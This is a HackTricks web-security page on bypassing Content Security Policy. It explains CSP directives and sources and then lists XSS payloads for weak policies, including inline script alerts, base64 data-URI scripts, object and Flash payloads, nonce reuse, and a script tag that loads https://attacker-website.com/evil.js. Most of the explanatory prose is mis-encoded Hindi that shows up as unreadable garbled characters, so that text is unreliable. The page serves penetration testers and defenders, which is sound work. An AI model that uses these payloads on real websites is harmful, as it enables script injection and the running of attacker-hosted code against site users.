78 KiB
Content Security Policy (CSP) Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
What is CSP
Content Security Policy (CSP) рдХреЛ рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдореБрдЦреНрдп рдЙрджреНрджреЗрд╢реНрдп рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ (XSS) рдЬреИрд╕реЗ рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╣реИред рдпрд╣ рдЙрди рдкрдереЛрдВ рдФрд░ рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдФрд░ рд╡рд┐рд╕реНрддреГрдд рдХрд░рдХреЗ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпреЗ рд╕рдВрд╕рд╛рдзрди рдЫрд╡рд┐рдпреЛрдВ, рдлреНрд░реЗрдореЛрдВ рдФрд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬреИрд╕реЗ рд╡рд┐рднрд┐рдиреНрди рддрддреНрд╡реЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдиреАрддрд┐ рдПрдХ рд╣реА рдбреЛрдореЗрди (рд╕реНрд╡рдпрдВ) рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЗрдирд▓рд╛рдЗрди рд╕рдВрд╕рд╛рдзрди рдФрд░ eval
, setTimeout
, рдпрд╛ setInterval
рдЬреИрд╕реА рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╢рд╛рдорд┐рд▓ рд╣реИред
CSP рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдпрд╛ HTML рдкреГрд╖реНрда рдореЗрдВ рдореЗрдЯрд╛ рддрддреНрд╡реЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рдиреАрддрд┐ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рдЗрди рд╢рд░реНрддреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рддреБрд░рдВрдд рдХрд┐рд╕реА рднреА рдкрд╣рдЪрд╛рдиреА рдЧрдИ рдЙрд▓реНрд▓рдВрдШрдиреЛрдВ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░ рджреЗрддреЗ рд╣реИрдВред
- Implemented via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- рдореЗрдЯрд╛ рдЯреИрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Headers
CSP рдХреЛ рдЗрди рд╣реЗрдбрд░реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓рд╛рдЧреВ рдпрд╛ рдореЙрдирд┐рдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
Content-Security-Policy
: CSP рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ; рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХрд┐рд╕реА рднреА рдЙрд▓реНрд▓рдВрдШрди рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддрд╛ рд╣реИредContent-Security-Policy-Report-Only
: рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ; рдЙрд▓реНрд▓рдВрдШрдиреЛрдВ рдХреА рд░рд┐рдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рдмреНрд▓реЙрдХ рдХрд┐рдПред рдкреНрд░реА-рдкреНрд░реЛрдбрдХреНрд╢рди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ред
Defining Resources
CSP рд╕рдХреНрд░рд┐рдп рдФрд░ рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╕рд╛рдордЧреНрд░реА рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореВрд▓ рд╕реНрдерд╛рдиреЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдЗрдирд▓рд╛рдЗрди рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди рдФрд░ eval()
рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред рдПрдХ рдЙрджрд╛рд╣рд░рдг рдиреАрддрд┐ рд╣реИ:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Directives
- script-src: JavaScript рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрд░реЛрддреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ URLs, рдЗрдирд▓рд╛рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдФрд░ рдЗрд╡реЗрдВрдЯ рд╣реИрдВрдбрд▓рд░реНрд╕ рдпрд╛ XSLT рд╕реНрдЯрд╛рдЗрд▓рд╢реАрдЯ рджреНрд╡рд╛рд░рд╛ рдЯреНрд░рд┐рдЧрд░ рдХреА рдЧрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред
- default-src: рдЬрдм рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлреЗрдЪ рдирд┐рд░реНрджреЗрд╢ рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдиреАрддрд┐ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред
- child-src: рд╡реЗрдм рд╡рд░реНрдХрд░реНрд╕ рдФрд░ рдПрдореНрдмреЗрдбреЗрдб рдлреНрд░реЗрдо рд╕рд╛рдордЧреНрд░реА рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред
- connect-src: рдЙрди URLs рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ fetch, WebSocket, XMLHttpRequest рдЬреИрд╕реА рдЗрдВрдЯрд░рдлреЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
- frame-src: рдлреНрд░реЗрдо рдХреЗ рд▓рд┐рдП URLs рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред
- frame-ancestors: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ рд╕реНрд░реЛрдд рд╡рд░реНрддрдорд╛рди рдкреГрд╖реНрда рдХреЛ рдПрдореНрдмреЗрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ
<frame>
,<iframe>
,<object>
,<embed>
, рдФрд░<applet>
рдЬреИрд╕реЗ рддрддреНрд╡реЛрдВ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИред - img-src: рдЪрд┐рддреНрд░реЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
- font-src:
@font-face
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЛрдб рдХрд┐рдП рдЧрдП рдлреЛрдВрдЯ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред - manifest-src: рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореИрдирд┐рдлреЗрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
- media-src: рдореАрдбрд┐рдпрд╛ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
- object-src:
<object>
,<embed>
, рдФрд░<applet>
рддрддреНрд╡реЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред - base-uri:
<base>
рддрддреНрд╡реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд URLs рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред - form-action: рдлрд╝реЙрд░реНрдо рд╕рдмрдорд┐рд╢рди рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреА рд╕реВрдЪреА рдмрдирд╛рддрд╛ рд╣реИред
- plugin-types: рдЙрди рдорд╛рдЗрдо рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХ рдкреГрд╖реНрда рд╕рдХреНрд░рд┐рдп рдХрд░ рд╕рдХрддрд╛ рд╣реИред
- upgrade-insecure-requests: рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЛ HTTP URLs рдХреЛ HTTPS рдореЗрдВ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред
- sandbox:
<iframe>
рдХреЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рдорд╛рди рдкреНрд░рддрд┐рдмрдВрдз рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред - report-to: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдиреАрддрд┐ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рд╣реЛрддрд╛ рд╣реИ рддреЛ рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рд╕ рд╕рдореВрд╣ рдХреЛ рднреЗрдЬреА рдЬрд╛рдПрдЧреАред
- worker-src: рд╡рд░реНрдХрд░, SharedWorker, рдпрд╛ ServiceWorker рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред
- prefetch-src: рдЙрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдпрд╛ рдкрд╣рд▓реЗ рд╕реЗ рд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
- navigate-to: рдЙрди URLs рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рди рдкрд░ рдХреЛрдИ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд┐рд╕реА рднреА рддрд░реАрдХреЗ рд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (a, form, window.location, window.open, рдЖрджрд┐ред)
Sources
*
: рд╕рднреА URLs рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рд╕рд┐рд╡рд╛рдпdata:
,blob:
,filesystem:
рд╕реНрдХреАрдо рд╡рд╛рд▓реЗред'self'
: рдЙрд╕реА рдбреЛрдореЗрди рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред'data'
: рдбреЗрдЯрд╛ рд╕реНрдХреАрдо рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЬреИрд╕реЗ, Base64 рдПрдиреНрдХреЛрдбреЗрдб рдЪрд┐рддреНрд░)ред'none'
: рдХрд┐рд╕реА рднреА рд╕реНрд░реЛрдд рд╕реЗ рд▓реЛрдбрд┐рдВрдЧ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддрд╛ рд╣реИред'unsafe-eval'
:eval()
рдФрд░ рд╕рдорд╛рди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИред'unsafe-hashes'
: рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЗрдирд▓рд╛рдЗрди рдЗрд╡реЗрдВрдЯ рд╣реИрдВрдбрд▓рд░реНрд╕ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИред'unsafe-inline'
: рдЗрдирд▓рд╛рдЗрди<script>
рдпрд╛<style>
рдЬреИрд╕реЗ рдЗрдирд▓рд╛рдЗрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИред'nonce'
: рдПрдХ рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд┐рдХ рдиреЙрдирд╕ (рдПрдХ рдмрд╛рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдирдВрдмрд░) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЗрдирд▓рд╛рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯред- рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ JS рд╕реАрдорд┐рдд рдирд┐рд╖реНрдкрд╛рджрди рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк рдкреГрд╖реНрда рдХреЗ рдЕрдВрджрд░ рдПрдХ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдиреЙрдирд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
doc.defaultView.top.document.querySelector("[nonce]")
рдХреЗ рд╕рд╛рде рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдпрджрд┐ strict-dynamic рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдХреЛрдИ рднреА рдЕрдиреБрдордд рд╕реНрд░реЛрдд рдирдП рд╕реНрд░реЛрддреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЗрд╕рд▓рд┐рдП рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ), рдЬреИрд╕реЗ рдХрд┐:
Load script reusing nonce
```html ```'sha256-<hash>'
: рд╡рд┐рд╢рд┐рд╖реНрдЯ sha256 рд╣реИрд╢ рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд░рддрд╛ рд╣реИред'strict-dynamic'
: рдпрджрд┐ рдЗрд╕реЗ рдиреЙрдирд╕ рдпрд╛ рд╣реИрд╢ рджреНрд╡рд╛рд░рд╛ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддреЛ рдХрд┐рд╕реА рднреА рд╕реНрд░реЛрдд рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред'host'
: рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реЛрд╕реНрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗexample.com
редhttps:
: URLs рдХреЛ рдЙрди рдкрд░ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ HTTPS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВредblob:
: Blob URLs (рдЬреИрд╕реЗ, JavaScript рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдирд╛рдП рдЧрдП Blob URLs) рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИредfilesystem:
: рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред'report-sample'
: рдЙрд▓реНрд▓рдВрдШрди рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ рдЙрд▓реНрд▓рдВрдШрди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреЛрдб рдХрд╛ рдПрдХ рдирдореВрдирд╛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ (рдбреАрдмрдЧрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА)ред'strict-origin'
: 'self' рдХреЗ рд╕рдорд╛рди рд▓реЗрдХрд┐рди рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕реНрд░реЛрддреЛрдВ рдХрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрддрд░ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ (рдХреЗрд╡рд▓ рд╕реБрд░рдХреНрд╖рд┐рдд рдореВрд▓ рд╕реБрд░рдХреНрд╖рд┐рдд рдореВрд▓ рд╕реЗ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред'strict-origin-when-cross-origin'
: рд╕рдорд╛рди рдореВрд▓ рдЕрдиреБрд░реЛрдз рдХрд░рддреЗ рд╕рдордп рдкреВрд░реНрдг URLs рднреЗрдЬрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рддрдм рдореВрд▓ рднреЗрдЬрддрд╛ рд╣реИ рдЬрдм рдЕрдиреБрд░реЛрдз рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╣реЛред'unsafe-allow-redirects'
: рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рддреБрд░рдВрдд рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрди рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░реЗрдВрдЧреЗред рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдХрдордЬреЛрд░ рдХрд░рдиреЗ рдХреЗ рдХрд╛рд░рдг рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИред
Unsafe CSP Rules
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Working payload: "/><script>alert(1);</script>
self + 'unsafe-inline' via Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
{% hint style="danger" %} рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВ. {% endhint %}
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреЗрд▓реЛрдб:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ рдПрдХ рдЕрдиреБрдордд JS рдХреЛрдб рджреНрд╡рд╛рд░рд╛ DOM рдореЗрдВ рдПрдХ рдирдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯреИрдЧ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЕрдкрдиреЗ JS рдХреЛрдб рдХреЗ рд╕рд╛рде, рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рдЕрдиреБрдордд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЗрд╕реЗ рдмрдирд╛ рд░рд╣реА рд╣реИ, рддреЛ рдирдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯреИрдЧ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рдПрдЧреАред
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреЗрд▓реЛрдб:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
рдСрдмреНрдЬреЗрдХреНрдЯ-рд╕реНрд░реЛрдд рдФрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ-рд╕реНрд░реЛрдд рдХреА рдХрдореА
{% hint style="danger" %} рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдЕрдм рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ {% endhint %}
Content-Security-Policy: script-src 'self' ;
рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкреЗрд▓реЛрдб:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
рдпрджрд┐ рдЖрдк рдПрдХ JS рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕ CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
рдХрд╛рд░реНрдпрд╢реАрд▓ рдкреЗрд▓реЛрдб:
"/>'><script src="/uploads/picture.png.js"></script>
